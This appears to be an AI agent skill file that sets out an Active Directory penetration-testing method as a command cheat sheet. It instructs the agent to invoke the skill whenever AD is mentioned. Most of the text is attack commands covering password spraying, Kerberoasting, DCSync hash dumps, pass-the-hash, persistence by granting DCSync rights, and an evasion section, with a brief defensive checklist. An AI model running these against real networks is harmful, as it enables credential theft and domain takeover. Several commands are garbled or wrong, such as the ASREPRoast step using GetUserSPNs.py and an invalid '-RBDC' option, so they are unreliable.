| name | active-directory-pentest |
| description | Use this skill whenever you need to enumerate, attack, or escalate privileges in an Active Directory environment. Trigger on any AD-related tasks including reconnaissance, credential attacks, Kerberos abuse, trust exploitation, privilege escalation, or post-exploitation. Make sure to use this skill when the user mentions Active Directory, domain enumeration, Kerberos attacks, AD pentesting, Windows domain security, or any AD attack methodology. |
Active Directory Pentest Methodology
A comprehensive guide for Active Directory penetration testing, from initial reconnaissance to domain compromise and forest-wide escalation.
Quick Reference
When to use this skill:
- Enumerating Active Directory domains
- Performing Kerberos-based attacks (Kerberoast, ASREPRoast, etc.)
- Escalating privileges in AD environments
- Exploiting domain trusts
- Post-exploitation with domain credentials
- LDAP-based AD abuse
Key tools mentioned:
crackmapexec / netexec - SMB/WinRM enumeration
bloodhound - AD relationship mapping
rubeus - Kerberos ticket manipulation
secretsdump.py - DCSync attacks
hashcat - Password cracking
powerview - PowerShell AD enumeration
Phase 1: Reconnaissance (No Credentials)
Network Discovery
gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt
enum4linux -a -u "" -p "" <DC_IP>
smbmap -u "" -p "" -P 445 -H <DC_IP>
smbclient -U '%' -L //<DC_IP>
nmap -n -sV --script "ldap* and not brute" -p 389 <DC_IP>
User Enumeration
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
python3 nauth.py -t target -u users_file.txt
Username Generation
Common AD username conventions:
NameSurname, Name.Surname, NamSur (3 letters each)
Nam.Sur, NSurname, N.Surname
SurnameName, Surname.Name, SurnameN
abc123 (3 random letters + 3 random numbers)
Tools:
w0Tx/generate-ad-username
urbanadventurer/username-anarchy
namemash.py - Generate from full names
Phase 2: With Valid Username (No Password)
ASREPRoast
If user doesn't have DONT_REQ_PREAUTH:
GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile asreproast
hashcat -m 18200 asreproast.txt wordlist.txt
Password Spraying
netexec smb <dc> -u usernames.txt -p 'Summer2021' --no-bruteforce --continue-on-success
Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summer2021
LLMNR/NBT-NS Poisoning
responder -I <interface> -wv
evil-s -i <interface>
Phase 3: With Domain Credentials
Basic Enumeration
net user /domain
net group /domain
net group "domain admins" /domain
Get-DomainUser
Get-DomainGroup
Get-DomainGroupMember "Domain Admins"
netexec smb <dc> -u <user> -p <password>
netexec ldap <dc> -u <user> -p <password>
BloodHound Enumeration
SharpHound.exe -c All -d <domain>
python3 SharpHound.py -c All -d <domain>
Kerberoast
GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile kerberoast
hashcat -m 13100 kerberoast.txt wordlist.txt
hashcat -m 35300 kerberoast.txt nt_hashes.txt
NetExec Workspace Management
nxcdb workspace create <engagement_name>
nxcdb proto smb
nxcdb proto ldap
nxcdb creds
netexec smb 10.2.10.0/24 --generate-hosts-file hosts
cat hosts /etc/hosts | sponge /etc/hosts
Phase 4: Privilege Escalation
Hash Extraction
secretsdump.py <domain>/<user>@<dc_ip> -just-dc-ntlm -history -outputfile smoke_dump
grep -i ':::' smoke_dump.ntds | awk -F: '{print $4}' | sort -u > nt_hashes.txt
nxc smb <ip> -u <local_admin> -p <password> --local-auth --lsa
Pass the Hash
netexec smb <dc> -u <user> -H <nt_hash>
mimikatz
Over Pass the Hash (Kerberos)
Rubeus.exe pth /user:<user> /ntlm:<hash> /runascurrent
Rubeus.exe asktgt /user:<user> /rc4:<hash> /domain:<domain>
Delegation Attacks
Get-DomainComputer -Unconstrained
Get-DomainComputer -TrustedToAuth
Get-DomainComputer -RBDC
ACL Abuse
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ObjectAceType -eq "WriteDACL"}
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.AceFlags -eq "Inherited" -and $_.ActiveDirectoryRights -eq "GenericAll"}
Phase 5: Domain Trust Exploitation
Enumerate Trusts
Get-DomainTrust
nltest /domain_trusts /all_trusts /v
nltest /dclist:<domain>
Trust Attack Paths
Inbound Trust (your domain is trusted):
- Find principals with access to external domain
- Exploit foreign security principals
- Use
Get-DomainForeignUser / Get-DomainForeignGroupMember
Outbound Trust (you trust another domain):
- Access trust account with predictable name/password
- Exploit SQL trusted links
- RDPInception attacks
Child-to-Parent Escalation:
- SID-History injection
- Exploit writable Configuration NC
- Link GPO to root DC site
- Compromise gMSA passwords via KDS Root key
Phase 6: Post-Exploitation
DCSync / NTDS Dump
secretsdump.py <domain>/<user>@<dc_ip> -history -outputfile full_dump
impacket-secretsdump <domain>/<user>@<dc_ip>
Persistence Techniques
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity <user> -Rights DCSync
Golden/Silver Tickets
mimikatz
mimikatz
Hash Shucking (NT-Candidate Attacks)
Use existing NT hashes as candidates for other hash types:
| Hash Type | Password Mode | NT-Candidate Mode |
|---|
| DCC | 1100 | 31500 |
| DCC2 | 2100 | 31600 |
| NetNTLMv1 | 5500 | 27000 |
| NetNTLMv2 | 5600 | 27100 |
| Kerberoast RC4 | 13100 | 35300 |
| AS-REP RC4 | 18200 | 35400 |
secretsdump.py <domain>/<user>@<dc_ip> -just-dc-ntlm -history -outputfile smoke_dump
grep -i ':::' smoke_dump.ntds | awk -F: '{print $4}' | sort -u > nt_candidates.txt
hashcat -m 35300 roastable_TGS nt_candidates.txt
hashcat -m 31600 dcc2_highpriv.txt nt_candidates.txt
LDAP-Based AD Abuse (On-Host)
Using LDAP BOF Collection for in-memory operations:
git clone https://github.com/P0142/ldap-bof-collection.git
cd ldap-bof-collection && make
load ldap.axs
ldap get-users --ldaps
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"
ldap get-writable --detailed
ldap get-acl "CN=Tier0,OU=Admins,DC=corp,DC=local"
ldap add-user <username> <password>
ldap add-spn <user> <spn>
ldap add-sidhistory <user> <sid>
ldap add-dcsync <user>
Defensive Considerations
What to Check For
- SMB Signing:
netexec smb <cidr> - look for (signing:False) = relay-prone
- LDAP Signing:
netexec ldap <dc> - check for (signing:None)
- LAPS: Local Admin Password Solution mitigates credential reuse
- Kerberos Pre-Auth: Check for
DONT_REQ_PREAUTH users
- Delegation: Audit unconstrained/constrained delegation settings
Detection Evasion
- Use LDAPS (636) instead of LDAP (389) when possible
- Avoid session enumeration on DCs (triggers ATA)
- Use AES keys for tickets instead of NTLM
- Execute DCSync from non-DC machines
- Clean up workspaces:
rm -rf ~/.nxc/workspaces/<name>
Quick Command Reference
kerbrute userenum -d <domain> --dc <dc_ip> usernames.txt
netexec smb <dc> -u users.txt -p 'Password1' --no-bruteforce
GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile tickets
secretsdump.py <domain>/<user>@<dc_ip>
SharpHound.exe -c All -d <domain>
Important Notes
- Kerberos requires FQDN - Using IP addresses forces NTLM authentication
- Double-hop problem - Kerberos tickets don't forward by default; use
runas /savecred or Impacket tools
- History matters - Always request password history with DCSync (up to 24 previous hashes)
- NT-candidate modes - Don't use rules (
-r) with NT-candidate modes; they corrupt the hash
- Workspace cleanup - Remove sensitive data from NetExec workspaces after engagement
References